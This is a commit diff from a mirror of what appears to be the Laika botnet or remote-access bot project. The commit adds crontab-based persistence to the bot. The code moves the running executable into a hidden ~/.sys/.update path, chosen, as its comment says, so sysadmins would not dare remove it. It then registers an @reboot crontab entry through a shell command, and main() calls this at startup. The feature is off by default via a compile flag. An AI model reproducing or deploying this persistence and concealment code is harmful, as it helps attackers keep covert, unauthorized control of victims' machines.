mirror of
				https://github.com/CPunch/Laika.git
				synced 2025-11-03 20:10:33 +00:00 
			
		
		
		
	Added crontab persistence, disabled by default with LAIKA_NOINSTALL
- undefine LAIKA_NOINSTALL in persist.h to enable persistence - windows persistence is still unimplemented
This commit is contained in:
		@@ -1,6 +1,9 @@
 | 
				
			|||||||
#ifndef LAIKA_PERSIST_H
 | 
					#ifndef LAIKA_PERSIST_H
 | 
				
			||||||
#define LAIKA_PERSIST_H
 | 
					#define LAIKA_PERSIST_H
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/* undefine to enable persistence */
 | 
				
			||||||
 | 
					#define LAIKA_NOINSTALL
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#include <stdbool.h>
 | 
					#include <stdbool.h>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
/* check if laika is already running */
 | 
					/* check if laika is already running */
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -2,13 +2,21 @@
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
/* this is only used to check if another instance of laika is currently running */
 | 
					/* this is only used to check if another instance of laika is currently running */
 | 
				
			||||||
#define LAIKA_RESERVED_PORT 32876
 | 
					#define LAIKA_RESERVED_PORT 32876
 | 
				
			||||||
 | 
					#define LAIKA_TMP_FILE "/tmp/laikaTMP"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
 | 
				
			||||||
 | 
					#define LAIKA_INSTALL_DIR_USER ".sys"
 | 
				
			||||||
 | 
					#define LAIKA_INSTALL_FILE_USER ".update"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#include "persist.h"
 | 
					#include "persist.h"
 | 
				
			||||||
#include "lsocket.h"
 | 
					#include "lsocket.h"
 | 
				
			||||||
#include "lerror.h"
 | 
					#include "lerror.h"
 | 
				
			||||||
 | 
					#include "lmem.h"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#include <unistd.h>
 | 
					#include <unistd.h>
 | 
				
			||||||
#include <sys/types.h>
 | 
					#include <sys/types.h>
 | 
				
			||||||
 | 
					#include <sys/stat.h>
 | 
				
			||||||
 | 
					#include <pwd.h>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
static struct sLaika_socket laikaB_markerPort;
 | 
					static struct sLaika_socket laikaB_markerPort;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@@ -51,31 +59,62 @@ void getCurrentExe(char *outPath, int pathSz) {
 | 
				
			|||||||
    int sz;
 | 
					    int sz;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    /* thanks linux :D */
 | 
					    /* thanks linux :D */
 | 
				
			||||||
    if ((sz = readlink("/proc/self/exe", outPath, pathSz - 1)) != 0)
 | 
					    if ((sz = readlink("/proc/self/exe", outPath, pathSz - 1)) == -1)
 | 
				
			||||||
        LAIKA_ERROR("Failed to grab current process executable path!\n");
 | 
					        LAIKA_ERROR("Failed to grab current process executable path!\n");
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    outPath[sz] = '\0';
 | 
					    outPath[sz] = '\0';
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
void tryPersistUser(char *path) {
 | 
					void getInstallPath(char *outPath, int pathSz) {
 | 
				
			||||||
 | 
					    struct stat st;
 | 
				
			||||||
 | 
					    const char *home;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    /* try to read home from ENV, else get it from pw */
 | 
				
			||||||
 | 
					    if ((home = getenv("HOME")) == NULL) {
 | 
				
			||||||
 | 
					        home = getpwuid(getuid())->pw_dir;
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
void tryPersistRoot(char *path) {
 | 
					    /* create install directory if it doesn't exist */
 | 
				
			||||||
 | 
					    snprintf(outPath, pathSz, "%s/%s", home, LAIKA_INSTALL_DIR_USER);
 | 
				
			||||||
 | 
					    LAIKA_DEBUG("creating '%s'...\n", outPath);
 | 
				
			||||||
 | 
					    if (stat(outPath, &st) == -1)
 | 
				
			||||||
 | 
					        mkdir(outPath, 0700);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    snprintf(outPath, pathSz, "%s/%s/%s", home, LAIKA_INSTALL_DIR_USER, LAIKA_INSTALL_FILE_USER);
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					void tryPersistCron(char *path) {
 | 
				
			||||||
 | 
					    char cmd[PATH_MAX + 128];
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    /* should be 'safe enough' */
 | 
				
			||||||
 | 
					    snprintf(cmd, PATH_MAX + 128, "(crontab -l ; echo \"@reboot %s\")| crontab -", path);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    /* add laika to crontab */
 | 
				
			||||||
 | 
					    if (system(cmd))
 | 
				
			||||||
 | 
					        LAIKA_ERROR("failed to install '%s' to crontab!\n", path);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    LAIKA_DEBUG("Installed '%s' to crontab!\n", path);
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
/* try to gain persistance on machine */
 | 
					/* try to gain persistance on machine */
 | 
				
			||||||
void laikaB_tryPersist() {
 | 
					void laikaB_tryPersist() {
 | 
				
			||||||
 | 
					#ifndef LAIKA_NOINSTALL
 | 
				
			||||||
    char exePath[PATH_MAX];
 | 
					    char exePath[PATH_MAX];
 | 
				
			||||||
 | 
					    char installPath[PATH_MAX];
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    /* grab current process's executable & try to gain persistance */
 | 
					    /* grab current process's executable & get the install path */
 | 
				
			||||||
    getCurrentExe(exePath, PATH_MAX);
 | 
					    getCurrentExe(exePath, PATH_MAX);
 | 
				
			||||||
    if (laikaB_checkRoot()) {
 | 
					    getInstallPath(installPath, PATH_MAX);
 | 
				
			||||||
        tryPersistRoot(exePath);
 | 
					
 | 
				
			||||||
    } else {
 | 
					    /* move exe to install path */
 | 
				
			||||||
        tryPersistUser(exePath);
 | 
					    if (rename(exePath, installPath))
 | 
				
			||||||
    }
 | 
					        LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    /* enable persistence on reboot via cron */
 | 
				
			||||||
 | 
					    tryPersistCron(installPath);
 | 
				
			||||||
 | 
					#endif
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
/* try to gain root */
 | 
					/* try to gain root */
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -5,6 +5,7 @@
 | 
				
			|||||||
#include "ltask.h"
 | 
					#include "ltask.h"
 | 
				
			||||||
#include "bot.h"
 | 
					#include "bot.h"
 | 
				
			||||||
#include "shell.h"
 | 
					#include "shell.h"
 | 
				
			||||||
 | 
					#include "persist.h"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
struct sLaika_taskService tService;
 | 
					struct sLaika_taskService tService;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@@ -18,6 +19,9 @@ void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clo
 | 
				
			|||||||
int main(int argv, char *argc[]) {
 | 
					int main(int argv, char *argc[]) {
 | 
				
			||||||
    struct sLaika_bot *bot = laikaB_newBot();
 | 
					    struct sLaika_bot *bot = laikaB_newBot();
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    /* install persistence */
 | 
				
			||||||
 | 
					    laikaB_tryPersist();
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    /* init task service */
 | 
					    /* init task service */
 | 
				
			||||||
    laikaT_initTaskService(&tService);
 | 
					    laikaT_initTaskService(&tService);
 | 
				
			||||||
    laikaT_newTask(&tService, 100, shellTask, (void*)bot);
 | 
					    laikaT_newTask(&tService, 100, shellTask, (void*)bot);
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user